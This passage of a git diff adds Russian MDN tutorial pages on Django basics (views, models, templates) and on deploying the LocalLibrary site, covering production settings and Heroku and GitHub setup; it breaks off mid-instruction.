на вид синтаксис шаблона известен как регулярное выражение (regular expression). Мы о нем поговорим позже!</li> + <li>Второй аргумент функции <code>url()</code> это другая функция, которая будет вызвана, когда шаблон будет удачно сопоставлен. Обозначение <code>views.index</code> обозначает, что будет вызвана функция <code>index()<font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #fff3d4; font-size: 18px;">, которая может быть найдена в модуле под названием </span></font></code><code>views</code> (т.е. в файле <code>views.py</code>).</li> +</ul> +</div> + +<h3 id="Обработка_запроса_views.py">Обработка запроса (views.py)</h3> + +<p>Отображения (views) - это сердце веб-приложения, принимающего HTTP-запросы от веб-клиентов и возвращающего HTTP-ответы. В промежутке они собирают другие ресурсы платформы для доступа к базам данных, шаблонам визуализации и т. д. </p> + +<p>В приведенном ниже примере показана минимальная функция представления <code>index()</code>, которая могла быть вызвана нашим преобразователем URL в предыдущем разделе. Как и все функции представления, она получает объект <code>HttpRequest</code> в качестве параметра <code>(request)</code> и возвращает объект <code>HttpResponse</code>. В этом случае мы ничего не делаем с запросом, и наш ответ просто возвращает жестко запрограммированную строку. Мы покажем вам запрос, который делает что-то более интересное в следующем разделе.</p> + +<pre class="brush: python notranslate">## filename: views.py (Django view functions) + +from django.http import HttpResponse + +def index(request): + # Получить HttpRequest - параметр запроса + # Выполнить операции, используя информацию из запроса. + # Вернуть HttpResponse + return HttpResponse('Hello from Django!') +</pre> + +<div class="note"> +<p><strong>Заметка</strong>: Немного Python:</p> + +<ul> + <li><a href="https://docs.python.org/3/tutorial/modules.html">Модули Python</a> это библиотеки функций, сохраненные в различных файлах, которые мы можем использовать в нашем коде. Здесь мы импортируем только объект <code>HttpResponse</code> из <code>django.http</code> модуля, таким образом мы можем использовать его в нашем отображении (view): <code>from django.http import HttpResponse</code> . Так же есть другие способы импортирования некоторых или всех объектов модуля.</li> + <li>Функции объявляются с помощью ключевого слова <code>def</code> как показано выше, с именованными параметрами, перечисленными в скобках после имени функции; строка завершается двоеточием. Заметьте, что следующие строки содержат отступы. Отступы важны, так как они определяют какие строки кода находятся внутри конкретного блока (обязательные отступы - это ключевая особенность Python и одна из причин, почему код на Python так легко читать).</li> +</ul> +</div> + +<ul> +</ul> + +<p>Отображения (View) обычно сохранены в файле <strong>views.py</strong>.</p> + +<h3 id="Определение_данных_модели_models.py">Определение данных модели (models.py)</h3> + +<p>Веб-приложения Django обрабатывают и запрашивают данные через объекты Python, называемые моделями. Модели определяют структуру хранимых данных, включая типы полей и, возможно, их максимальный размер, значения по умолчанию, параметры списка выбора, текст справки для документации, текст меток для форм и т. д. Определение модели не зависит от СУБД (MySQL или PostgreSQL) - ваши модели будут работать в любой из них. После того, как вы выбрали базу данных, которую хотите использовать, Вам не нужно напрямую обращатся к ней - вы просто пишете свою структуру модели и другой код, а Django обрабатывает всю грязную работу по обращению к базе данных за вас.</p> + +<p>В приведенном ниже фрагменте кода показана очень простая модель Django для объекта <code>Team</code> . Класс <code>Team</code> наследуется от класса <code>models.Model</code>. Он определяет имя команды и командный уровень в качестве полей символов и задает максимальное количество символов, которые должны быть сохранены для каждой записи. <code>Team_level</code> может быть одним из нескольких значений, поэтому мы определяем его как поле выбора и предоставляем сопоставление между отображаемыми вариантами и хранимыми данными вместе со значением по умолчанию. </p> + +<pre class="brush: python notranslate"># filename: models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11', 'Under 11s'), + ... #список других командных уровней + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<div class="note"> +<p><strong>Заметка</strong>: Немного Python'а:</p> + +<ul> + <li>Python поддерживает «объектно-ориентированное программирование», стиль программирования, в котором мы организуем наш код в объекты, которые включают связанные данные и функции для работы с этими данными. Объекты также могут наследовать / расширять / выводить из других объектов, позволяя совместное поведение между связанными объектами. В Python мы используем ключевое слово <code>class</code> , чтобы определить "скелет" для объекта. Мы можем создать несколько конкретных <em>экземпляров</em> типа объекта на основе модели в классе.<br> + <br> + Так например, мы имеем класс <code>Team</code>, который происходит от класса <code>Model</code>. Это означает, что эта модель будет содержать все методы модели, но мы также можем дать ей специализированные возможности. В нашей модели мы определяем поля нашей базы данных, в которой будем хранить данные, присваивая им конкретные имена. Django использует эти определения, включая имена полей, для создания основной базы данных.</li> +</ul> +</div> + +<h3 id="Запросы_данных_views.py">Запросы данных (views.py)</h3> + +<p>Модель Django предоставляет простой API запросов для поиска в базе данных. Поиск может осуществляться по нескольким полям одновременно с использованием разных критериев (таких как exact, case-insensitive, greater than и т.д.), и может поддерживать сложные выражения (например, вы можете указать поиск в командах U11, у которых есть имя команды, начинающееся с «Fr» или заканчивается на «al»).</p> + +<p>Фрагмент кода показывает функцию view (обработчик ресурсов) для отображения всех команд U09. Жирная строка показывет как мы можем использовать модель API запросов для того, чтобы отфильтровать все записи где поле <code>team_level</code> в точности содержит текст 'U09' (обратите внимание, как эти критерии передаются функции <code>filter()</code> в качестве аргумента с именем поля и типом соответствия, разделенным двойным подчеркиванием: <strong>team_level__exact</strong>).</p> + +<pre class="brush: python notranslate">## filename: views.py + +from django.shortcuts import render +from .models import Team + +def index(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return render(request, '/best/index.html', context) +</pre> + +<dl> +</dl> + +<p>Данная функция использует функцию <code>render()</code> для того, чтобы создать <code>HttpResponse</code>, который будет отправлен назад браузеру. Эта функция является ярлыком; она создает HTML-файл, комбинируя указанный шаблон HTML и некоторые данные для вставки в шаблон (предоставляется в переменной с именем "<code>context</code>"). В следующем разделе мы покажем как данные вставляются в шаблон для создания HTML-кода.</p> + +<h3 id="Отображение_данных_HTML_templates">Отображение данных (HTML templates)</h3> + +<p>Системы шаблонов позволяют указать структуру выходного документа, используя заполнители для данных, которые будут заполнены при создании страницы. Шаблоны часто используются для создания HTML, но также могут создавать другие типы документов. Django поддерживает как собственную систему шаблонов, так и другую популярную библиотеку Python под названием Jinja2 (она также может быть использована для поддержки других систем, если это необходимо).</p> + +<p>Фрагмент кода показывает, как выглядит HTML-шаблон, вызванный функцией <code>render()</code> из предыдущего раздела. Этот шаблон был написан в предположении, что во время рендеринга он будет иметь доступ к переменной списка, называемой <code>youngest_teams</code> (содержащейся в контекстной переменной внутри функции <code>render()</code> выше). Внутри скелета HTML мы имеем выражение, которое сначала проверяет, существует ли переменная <code>youngest_teams</code>, а затем выполняет итерацию в цикле <code>for</code>. На каждой итерации шаблон отображает значение <code>team_name</code> каждой команды в элементе {{htmlelement ("li")}}.</p> + +<pre class="brush: python notranslate">## filename: best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>No teams are available.</p> +{% endif %} + +</body> +</html></pre> + +<h2 id="Что_еще_можно_сделать">Что еще можно сделать?</h2> + +<p>В предыдущих разделах показаны основные особенности, которые вы будете использовать почти в каждом веб-приложении: сопоставление URL, представления, модели и шаблоны. Также Django предоставляет несколько других вещей:</p> + +<ul> + <li><strong>Формы</strong>: HTML-формы используются для сбора пользовательских данных для обработки на сервере. Django упрощает создание, проверку и обработку формы.</li> + <li><strong>Аутентификация пользователя и разрешения</strong>: Django включает надежную систему аутентификации и авторизации пользователей, которая была построена с учетом безопасности.</li> + <li><strong>Кэширование:</strong> <span id="result_box" lang="ru"><span>Создание динамического </span></span><span lang="ru"><span>контента намного более интенсивно (и медленнее), чем обслуживание статического содержимого.</span> <span>Django обеспечивает гибкое кэширование, чтобы вы могли хранить всю или часть отображаемой страницы, для того, чтобы она не вызывалась повторно, за исключением случаев, когда это необходимо.</span></span></li> + <li><strong>Админ-панель: </strong>Административная панель в Django включена по умолчанию при создании приложения с использованием основного каркаса. Это упрощает управление админкой администраторам сайта для создания, редактирования и просмотра любых данных на вашем сайте.</li> + <li><strong>Сериализация данных (преобразование в последовательную форму)</strong>: Django упрощает сериализацию и обслуживание ваших данных в таких форматах как XML или JSON. Это может быть полезно при создании веб-сервисов (веб-сайтов, которые исключительно служат для использования данных другими приложениями или сайтами и сами ничего не отображают) или при создании веб-сайта, на котором клиентский код обрабатывает весь рендеринг данных.</li> +</ul> + +<h2 id="Резюме">Резюме</h2> + +<p>Поздравляем, вы завершили первый шаг в своем путешествии по Django! Теперь вы должны понимать основные преимущества Django, немного его истории, и примерно как может выглядеть каждая из основных частей приложения Django. Вы должны также изучить несколько вещей о языке программирования Python, включая синтаксис списков, функций и классов.</p> + +<p>Вы уже видели код на Django выше, но в отличие от клиентского кода вам нужно настроить среду разработки для ее запуска. Это наш следующий шаг</p> + +<div>{{NextMenu("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django")}}</div> diff --git a/files/ru/learn/server-side/django/разворачивание/index.html b/files/ru/learn/server-side/django/разворачивание/index.html new file mode 100644 index 0000000000..640527b63d --- /dev/null +++ b/files/ru/learn/server-side/django/разворачивание/index.html @@ -0,0 +1,680 @@ +--- +title: 'Django Руководство часть 11: Разворачивание сайта на сервере' +slug: Learn/Server-side/Django/Разворачивание +tags: + - Веб-сервер + - Для начинающих + - Разворачивание на сервере + - Развёртывание Django +translation_of: Learn/Server-side/Django/Deployment +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Testing", "Learn/Server-side/Django/web_application_security", "Learn/Server-side/Django")}}</div> + +<p class="summary">Теперь, когда вы создали (и протестировали) свой шикарный сайт <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, у вас скорее всего, есть желание разместить его на публичном веб-сервере, чтобы он стал доступен через интернет персоналу и посетителям библотеки. Данная статья дает общее представление о том, каким образом подойти к поиску хостинга для рамещения сайта, а также, что нужно сделать чтобы подготовить свой сайт к публикации.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Завершить изучение всех предыдущих частей руководства, включая <a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Руководство часть 10: Тестирование веб-приложений в Django</a>.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Изучить, где и как вы можете развернуть приложение Django для публичного доступа.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>Даже когда разработка вашего сайта завершена (или "достаточно" завершена для начала публичного тестирования), то для публичного доступа вам надо его где-то разместить.</p> + +<p>До сего момента вы работали в каком-то рабочем окружении - чтобы получать отладочную и другую частную информацию, вы использовали веб-сервер Django в локальной сети при этом запускали сайт с (небезопасными) настройками разработки. Перед тем как разместить сайт публично, вы должны сделать следующее:</p> + +<ul> + <li>Сделать несколько изменений в настройках проекта.</li> + <li>Выбрать/Настроить окружение для хостинга приложения Django.</li> + <li>Выбрать/Настроить окружение для размещения статических файлов.</li> + <li>В целях обслуживания сайта настроить инфраструктуру для его развертывания.</li> +</ul> + +<p>Данное руководство предоставляет небольшой обзор выбора хостинга, приготовления сайта к публичному размещению, а также практический пример установки сайта LocalLibrary на облачный сервис <a href="https://www.heroku.com/">Heroku</a>.</p> + +<h2 id="Что_такое_окружение_развертывания">Что такое окружение развертывания?</h2> + +<p>Окружение развертывания - это среда, которое предоставляет сервер, на котором вы будете размещать свой веб-сайт для публичного запуска и доступа. Данное окружение включает в себя:</p> + +<ul> + <li>Железо на котором будет запускаться сайт.</li> + <li>Операционную систему (Linux, Windows).</li> + <li>Языки программирования времени выполнения (скриптовые) и библотеки, которые использует ваш сайт.</li> + <li>Веб-сервер, используемый для обслуживания страниц и другого контента (Nginx, Apache).</li> + <li>Сервер приложений, который передает "динамические" запросы между сайтом Django и веб-сервером.</li> + <li>Базу данных, от которой зависит ваш сайт.</li> +</ul> + +<div class="note"> +<p><strong>Примечание</strong>: У вас может быть потребность в обратном прокси, балансировщике загрузки и так далее.</p> +</div> + +<p>Сервер может быть вашим собственным с подключением к интернету по скоростному каналу, но более общим подходом является применение "облачных решений". Что действительно имеет значение, так это то, что ваш код запускается на некотором удаленном компьютере (возможно и "виртуальном"), в хостинговом дата-центре. Удаленный сервер обычно предоставляет определенный доступ к компьютерным ресурсам (процессору, оперативной памяти, памяти на жестких носителях и так далее) и соединение с интернетом за некоторую цену.</p> + +<p>Такой тип удаленного доступа к вычислительному/сетевому железу называется <em>Инфраструктура как Сервис (Infrastructure as a Service - IaaS)</em>. Множество IaaS поставщиков предлагают услуги по предустановке какой-либо операционной системы, на которую вы можете установить необходимые для вашего рабочего окружения компоненты. Другие поставщики предлагают вам выбрать уже готовые полноценные рабочие окружения, возможно, включающие в себя Django и настроенный веб-сервер.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Готовые окружения могут сделать настройку вашего веб-сайта очень простой задачей, поскольку они имеют минимальную конфигурацию, однако, либо количество доступных опций может быть недостаточным, или они будут соответствовать устаревшей операционной системе. Часто, более предпочтительно установить необходимые компоненты самостоятельно, таким образом вы получите то, что вам необходимо, а в последующем, при обновлении системы, уже будете знать что нужно делать!</p> +</div> + +<p>Некоторые провайдеры поддерживают Django как часть своего предложения <em>Платформа как Сервис (Platform as a Service</em> - PaaS). При данном виде хостинга вам не нужно беспокоиться о большей части окружения (веб-сервере, сервере приложений, балансировщике загрузки), так как сама платформа берет это на себя (включая все моменты, касающиеся роста и развития вашего приложения). В данном случае развертывание приложения является достаточно простой задачей, - вам нужно сконцентрироваться только на вашем приложении, а не на инфраструктуре.</p> + +<p>Некоторые разработчики выбирают более гибкое решение, предоставляемое IaaS, в то время как другие предпочитают иметь наименьшие накладные расходы и простое масштабирование, предоставляемое PaaS. Когда вы только начинаете, то система типа PaaS является предпочтительной и это именно то, что мы будем использовать в данном руководстве.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Если вы выбираете хостинг с поддержкой Python/Django, то он должен иметь инструкцию по установке веб-сайта Django, учитывающую различные конфигурации веб-сервера, сервера приложений, обратного прокси и так далее (это не имеет значение, если вы выбрали PaaS). Например, существует множество инструкций "шаг-за-шагом" для различный конфигураций в <a href="https://www.digitalocean.com/community/tutorials?q=django">Документации DigitalOcean по Django</a>.</p> +</div> + +<h2 id="Выбор_хостинг_провайдера">Выбор хостинг провайдера</h2> + +<p>Существует более 100 хорошо известных хостинг провайдеров, которые либо активно поддерживают, или работают с Django (их список можно увидеть в <a href="https://djangofriendly.com/index.html">Django-дружественные хостинги</a>). Данные поставщики предоставляют различные типы окружений (IaaS, PaaS), и различные уровни доступа к вычислительным и сетевым ресурсам, за разную цену.</p> + +<p>Некоторые вещи на которые надо обратить внимание при выборе хостинга:</p> + +<ul> + <li>Насколько требовательным к вычислительным ресурсам является ваш сайт.</li> + <li>Уровень поддержки горизовантального (добавление большего количества машин) и вертикального масштабирования (переход на более мощное железо), а также стоимость всего этого.</li> + <li>Где расположены дата-центры и, следовательно, откуда будет более быстрый доступ.</li> + <li>Время непрерывной работы хостинга, а также время и количество простоя.</li> + <li>Инструменты, которые предоставляются для управления сайтом — простота и безопастность их использвания (SFTP и FTP).</li> + <li>Встроенные фреймворки для мониторинга вашего сервера.</li> + <li>Ограничения. Некоторые хостинги могут блокировать некоторые сервисы (например, электронную почту) . Другие предлагают только определенное количество часов "живого времени" за определенную цену, или небольшое количество места для данных.</li> + <li>Преимущества. Некоторые провайдеры могут предложить бесплатные доменные имена и поддержку сертификатов SSL, которые, в других случаях, должны были бы купить.</li> + <li>Что будет при истечении времени использования "бесплатного" хостинга, какова "стоимость" миграции на более "дорогие" тарифы и так далее?</li> +</ul> + +<p>Хорошей новостью является то, что для того, чтобы начать существует достаточное количество компаний, которые предоставляют пробные "бесплатные" тарифы типа "evaluation" (для пробы), "developer" (разработка), или "hobbyist" (хобби). Всегда существуют ресурсы с ограниченым окружением, при использовании которых вам надо беспокоиться лишь о том, что они могут быть доступны лишь в течении определенного периода времени. Тем не менее, они являются отличным решением для тестирования сайтов с небольшим трафиком в реальном окружении, а также могут предоставлять простой доступ к платным ресурсам, в случае необходимости. Наиболее популярными провайдерами являются <a href="https://www.heroku.com/">Heroku</a>, <a href="https://www.pythonanywhere.com/">Python Anywhere</a>, <a href="http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/billing-free-tier.html">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us/pricing/details/app-service/">Microsoft Azure</a> и так далее.</p> + +<p>Многие провайдеры имеют "basic" (базовый) тариф, предоставляющий достаточный уровень вычислительной мощности с небольшим количеством ограничений. <a href="https://www.digitalocean.com/">Digital Ocean</a> и <a href="https://www.pythonanywhere.com/">Python Anywhere</a> являются примерами провайдеров, которые предлагают относительно недорой базовый тариф (от $5 до $10USD в месяц).</p> + +<div class="note"> +<p><strong>Примечание:</strong> Необходимо помнить, что цена не является единственным критерием выбора. Если ваш сайт успешен, то может так случиться, что масштабирование станет самым важным элементом вашего внимания при выборе услуг хостинга.</p> +</div> + +<h2 id="Подготовка_веб-сайта_к_публикации">Подготовка веб-сайта к публикации</h2> + +<p><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Скелет сайта</a> был создан при помощи инструментов <em>django-admin</em> и <em>manage.py</em>, которые настроены таким образом, чтобы сделать разработку проще. Многие настройки файла проекта (определенных в <strong>settings.py</strong>) должны быть изменены перед публикацией сайта, либо из-за вопросов безопастности, либо производительности.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Общепринятым решением является иметь отдельный файл <strong>settings.py</strong> для публикации, который импортирует важные настройки из внешних файлов, или из переменных окружения. Доступ к данному файлу должен быть ограничен, даже если остальная часть исходного кода доступна в публичном репозитории.</p> +</div> + +<p>Критически важные настройки файла <strong>settings.py</strong>:</p> + +<ul> + <li><code>DEBUG</code>. При развертывании сайта должен быть установлен в <code>False</code> (<code>DEBUG = False</code>). Тем самым, прекратится вывод важной отладочной информации.</li> + <li><code>SECRET_KEY</code>. Это большое случайное число, применяемое для защиты от CRSF. Важно, чтобы ключ, используемый в продакшине, не указывался в исходном коде, и/или не запрашивался с другого сервера. Django рекомендует размещать значение ключа либо в переменной окружения, или в файле с доступом только на чтение. + <pre class="notranslate"># Чтение SECRET_KEY из переменной окружения +import os +SECRET_KEY = os.environ['SECRET_KEY'] + +#ИЛИ + +#Чтение ключа из файла +with open('/etc/secret_key.txt') as f: + SECRET_KEY = f.read().strip()</pre> + </li> +</ul> + +<p>Давайте изменим приложение <em>LocalLibrary</em> таким образом, чтобы читать <code>SECRET_KEY</code> и <code>DEBUG</code> из переменных окружения, если те определены, иначе использовать значения по умолчанию.</p> + +<p>Откройте <strong>/locallibrary/settings.py</strong>, закомментируйте исходное значение <code>SECRET_KEY</code> и добавьте новые строки, как указано ниже <strong>жирным</strong>. В течении разработки, никаких переменных окружения определено не было, таким образом будут использоваться значения по умолчанию (не имеет значения какой ключ вы используете в процессе разработки, поскольку при развертывании проекта вы будете использовать другой).</p> + +<pre class="brush: python notranslate"># SECURITY WARNING: keep the secret key used in production secret! +# SECRET_KEY = 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag' +<strong>import os</strong> +<strong>SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY', 'cg#p$g+j9tax!#a3cup@1$8obt2_+&k3q+pmu)5%asj6yjpkag')</strong> +</pre> + +<p>Затем закомментируйте строку с настройкой <code>DEBUG</code>, а затем, добавьте новую, указанную ниже.</p> + +<pre class="brush: python notranslate"># SECURITY WARNING: don't run with debug turned on in production! +# DEBUG = True +<strong>DEBUG = bool( os.environ.get('DJANGO_DEBUG', True) )</strong> +</pre> + +<p>Значение <code>DEBUG</code> будет <code>True</code> по умолчанию и станет <code>False</code>, в том случае, если переменная окружения <code>DJANGO_DEBUG</code> будет проинициализирована пустой строкой, то есть, <code>DJANGO_DEBUG=''</code>.</p> + +<div class="note"> +<p><strong>Примечание</strong>: Было бы более понятным, если бы мы могли просто установить и снять с <code>DJANGO_DEBUG</code> непосредственно на <code>True</code> и <code>False</code> , напрямую, а не использовать «любую строку» или «пустую строку» (соответственно). К сожалению, значения переменных среды хранятся как строки Python и единственная строка, которая оценивается как <code>False</code> является пустой строкой (например, <code>bool('')==False</code>).</p> +</div> + +<p>Весь перечень настроек для разворачивания вашего сайта находится по ссылке <a href="https://docs.djangoproject.com/en/1.10/howto/deployment/checklist/">Deployment checklist</a> (Django docs). Кроме того, вы можете получить список настроек, выполнив в терминале команду:</p> + +<pre class="brush: python notranslate">python3 manage.py check --deploy +</pre> + +<h2 id="Пример_Установка_LocalLibrary_на_Heroku">Пример: Установка LocalLibrary на Heroku</h2> + +<p>Данный раздел предоставляет демонстрацию того, как установить <em>LocalLibrary</em> на <a href="http://heroku.com">Heroku PaaS cloud</a>.</p> + +<h3 id="Почему_Heroku">Почему Heroku?</h3> + +<p><span id="result_box" lang="ru"><span>Heroku - один из самых продолжительных и популярных облачных сервисов PaaS.</span> <span>Первоначально он поддерживал только приложения Ruby, но теперь его можно использовать для размещения приложений из многих сред программирования, включая Django!</span></span></p> + +<p>Мы выбираем для использования Heroku по нескольким причинам:</p> + +<ul> + <li><span id="result_box" lang="ru"><span>У Heroku есть <a href="https://www.heroku.com/pricing">свободный уровень</a>, который <em>действительно</em> свободен (хотя и с некоторыми ограничениями)</span></span></li> + <li><span id="result_box" lang="ru"><span title="As a PaaS, Heroku takes care of a lot of the web infrastructure for us.">Как PaaS, Heroku заботится о большой веб-инфраструктуре для нас. </span><span title="This makes it much easier to get started, because you don't worry about servers, load balancers, reverse proxies, or any of the other web infrastructure that Heroku provides for us under the hood. + ">Это значительно облегчает работу, потому что вы не беспокоитесь о серверах, балансирах нагрузки, обратных прокси или любой другой веб-инфраструктуре, которую Heroku предоставляет нам под капотом.</span></span></li> + <li><span id="result_box" lang="ru"><span title="While it does have some limitations these will not affect this particular application.">Хотя у этого есть некоторые ограничения, это не повлияет на это конкретное приложение. </span><span title="For example: + ">Например:</span></span> + <ul> + <li><span id="result_box" lang="ru"><span title="Heroku provides only short-lived storage so user-uploaded files cannot safely be stored on Heroku itself. + ">Heroku предоставляет только недолговечное хранилище, поэтому загруженные пользователем файлы нельзя безопасно хранить на самом Heroku.</span></span></li> + <li><span id="result_box" lang="ru"><span title="The free tier will sleep an inactive web app if there are no requests within a half hour period.">Свободный уровень будет спать с неактивным веб-приложением, если в течение получаса не будет запросов. </span><span title="The site may then take several seconds to respond when it is woken up. + ">После этого сайт может занять несколько секунд, чтобы ответить, когда он проснулся.</span></span></li> + <li><span id="result_box" lang="ru"><span title='The free tier limits the time that your site is running to a certain amount of hours every month (not including the time that the site is "asleep").'>Свободный уровень ограничивает время, в течение которого ваш сайт работает до определенного количества часов каждый месяц (не включая время, когда сайт «спит»). </span><span title="This is fine for a low use/demonstration site, but will not be suitable if 100% uptime is required. + ">Это нормально для сайта с низким уровнем использования / демонстрации, но не подходит, если требуется 100% время безотказной работы.</span></span></li> + <li>Другие ограничения перечислены в <a href="https://devcenter.heroku.com/articles/limits">Limits</a> (документы Heroku).</li> + </ul> + </li> + <li><span id="result_box" lang="ru"><span title="Mostly it just works, and if you end up loving it, scaling your app is very easy. + +">В основном это просто работает, и если вы в конечном итоге полюбите его, масштабирование вашего приложения будет очень простым.</span></span></li> +</ul> + +<p><span id="result_box" lang="ru"><span title="While Heroku is perfect for hosting this demonstration it may not be perfect for your real website.">Хотя Heroku идеально подходит для проведения этой демонстрации, она может быть не идеальна для вашего реального сайта. </span><span title="Heroku makes things easy to set up and scale, at the cost of being less flexible, and potentially a lot more expensive once you get out of the free tier.">Heroku упрощает настройку и масштабирование за счет меньшей гибкости и, возможно, обойдется намного дороже, когда вы выходите из свободного уровня.</span></span></p> + +<h3 id="Как_работает_Heroku">Как работает Heroku?</h3> + +<p>Heroku запускает сайты Django внутри одного, или более, изолированых друг от друга "<a href="https://devcenter.heroku.com/articles/dynos">Dynos</a>", которые являются виртуальными Unix-контейнерами, предоставляющими необходимое окружение для вашего приложения. Данные dynos полностью изолированы и имеют <em>эфемерную</em> файловую систему ("короткоживущая" файловая система, которая полностью очищается и обновляется каждый раз, когда dyno перезапускается). Единственной сущностью, которую предоставляет dynos по умолчанию, является приложение по <a href="https://devcenter.heroku.com/articles/config-vars">конфигурации переменных</a>. Heroku внутри себя применяет балансировщик загрузки для распределения веб-трафика среди всех "веб"-dynos. Поскольку dynos изолированы, Heroku может масштабировать приложение горизонтально, просто добавляя больше dynos (хотя, конечно, у вас может появиться необходимость расширить базу данных для обработки дополнительных соединений).</p> + +<p>Файловая система эфемерна, поэтому вы не можете напрямую установить необходимые для вашего приложения сервисы (то есть, базы данных, очереди, системы кэширования, хранения, сервисы электронной почты и так далее). Взамен этого, Heroku предоставляет сервисы, доступные как независимые "дополнения" ("add-ons") либо от самой Heroku, или от сторонних разработчиков. В тот момент когда ваше приложение запускается в системе, dynos получает доступ к сервисам, используя информацию, содержащуюся в переменных настройки вашего приложения.</p> + +<p>Для того, чтобы выполнить ваше приложение Heroku необходимо иметь возможность установить соответствующее окружение и зависимости, а также понимать как его (приложение) запустить. В случае приложений Django мы предоставляем соответствующую информацию в нескольких текстовых файлах:</p> + +<ul> + <li><strong>runtime.txt</strong>:<strong> </strong>язык программирования и его версию.</li> + <li><strong>requirements.txt</strong>: необходимые для Python компоненты, включая Django.</li> + <li><strong>Procfile</strong>: Список процессов, которые будут выполнены для старта веб-приложения. Для Django это обычно сервер веб-приложений Gunicorn (скрипт <code>.wsgi</code>).</li> + <li><strong>wsgi.py</strong>: конфигурация <a href="http://wsgi.readthedocs.io/en/latest/what.html">WSGI</a> для вызова нашего приложения Django в окружении Heroku.</li> +</ul> + +<p>Разработчики Developers взаимодействуют с Heroku при помощи специального клиентского приложения/терминала, который сильно похож на bash-скрипт Unix. Оно позволяет вам загружать код, находящийся в git-репозитории, контроллировать выполняемые процессы, смотреть логи, устанавливать конфигурационные переменные и многое другое!</p> + +<p>Для того, чтобы заставить ваше приложение работать с Heroku, нам нужно разместить наше веб-приложение в git-репозитории, добавить, перечисленные ранее, файлы, подключить дополнение (add-on) базы данных и выполнить настройки для правильной работы со статическими файлами.</p> + +<p>Когда мы выполним все, что необходимо для нашего сайта мы можем создать аккаунт Heroku, получить доступ к клиенту Heroku и использовать его, для установки нашего веб-сайта.</p> + +<div class="note"> +<p><strong>Примечание:</strong> Инструкции, перечисленные ниже, соответствуют процессу работы с Heroku во время написания данной статьи (английской версии - прим. перев.). Если Heroku значительно изменит этот процесс, вы можете воспользоваться соответствующим описанием: <a href="https://devcenter.heroku.com/articles/getting-started-with-python#introduction">Heroku начало работы с Django</a>.</p> +</div> + +<p>На этом завершается краткий обзор начала работы с Heroku (более подробное руководство <a href="https://devcenter.heroku.com/articles/how-heroku-works">Как работает Heroku</a>).</p> + +<h3 id="Создание_репозитория_приложения_на_Github">Создание репозитория приложения на Github</h3> + +<p><span id="result_box" lang="ru"><span>Heroku тесно интегрирована с системой управления версиями исходного кода <strong>git</strong>, используя ее для загрузки / синхронизации любых изменений, которые вы вносите в живую систему.</span> <span>Он делает это, добавляя новый «удаленный» репозиторий heroku с именем heroku, указывающий на репозиторий для вашего источника в облаке Heroku.</span> <span>Во время разработки вы используете <strong>git</strong> для хранения изменений в вашем «master» репозитории.</span> <span>Когда вы хотите развернуть свой сайт, вы синхронизируете свои изменения в репозитории Heroku.</span></span></p> + +<div class="note"> +<p><strong>Примечание:</strong> <span id="result_box" lang="ru"><span>Если вы привыкли следовать хорошей практике разработки программного обеспечения, вы, вероятно, уже используете git или какую-либо другую систему SCM.</span> <span>Если у вас уже есть git-репозиторий, вы можете пропустить этот шаг.</span></span></p> +</div> + +<p><span id="result_box" lang="ru"><span>Существует множество способов работы с git, но одним из самых простых является создание учетной записи в <a href="https://github.com/">Github</a>, создание репозитория там, а затем синхронизация с ним локально:</span></span></p> + +<ol> + <li>Посетите <a href="https://github.com/">https://github.com/</a> и создайте аккаунт.</li> + <li>После входа в систему нажмите ссылку + в верхней панели инструментов и выберите <strong>Новый репозиторий</strong>.</li> + <li>Заполните все поля на этой форме. Хотя они не являются обязательными, они настоятельно рекомендуются. + <ul> + <li>Введите имя нового репозитория (например <em>django_local_library</em>), и комментарий к репозиторию (например "Local Library website written in Django".</li> + <li>Нажмите на кнопку<em> <strong>Add .</strong></em><strong>gitignore </strong>и в появившемся списке выберите <strong>Python</strong>.</li> + <li>Выберите подходящую вам лицензию из списка <em><strong>Add license. </strong></em>Если не знаете для чего это - оставьте как было.</li> + <li> + <p>Установите галочку напротив <em><strong>Initialize this repository with a README</strong>.</em></p> + </li> + </ul> + </li> + <li>Нажмите кнопку <strong>Create repository</strong>, тем самым создав ваш репозиторий.</li> + <li>Перейдите на страницу вашего репозитория. Там нажмите на зелёную кнопку "<strong>Clone or download</strong>". Скопируйте URL из текстового поляиз появившегося диалогового окна (Это будет похоже на: <strong>https://github.com/<em><your_git_user_id></em>/django_local_library.git</strong>). Здесь <strong><your_git_user_id> </strong>- это будет ваш id пользователя git.</li> +</ol> + +<p>Когда ваш репозиторий будет создан - загрузите его себе на компьтер, следуя инструкции, описанной ниже:</p> + +<ol> + <li>Установите git себе на компьютер (Вы можете найти версию для своей платформы <a href="https://git-scm.com/downloads">здесь</a>).</li> + <li>Откройте командную строку (или терминал) и выполните в нём следующую команду, используя ссылку, которую вы получили с github: + <pre class="brush: bash notranslate">git clone https://github.com/<strong><em><your_git_user_id></em></strong>/django_local_library.git +</pre> + Это создаст подпапку (с содержанием вашего репозитория и именем вашего репозитория) внутри папки, в котрой выполнялась команда.</li> + <li>Перейдите в эту папку: + <pre class="brush: bash notranslate">cd 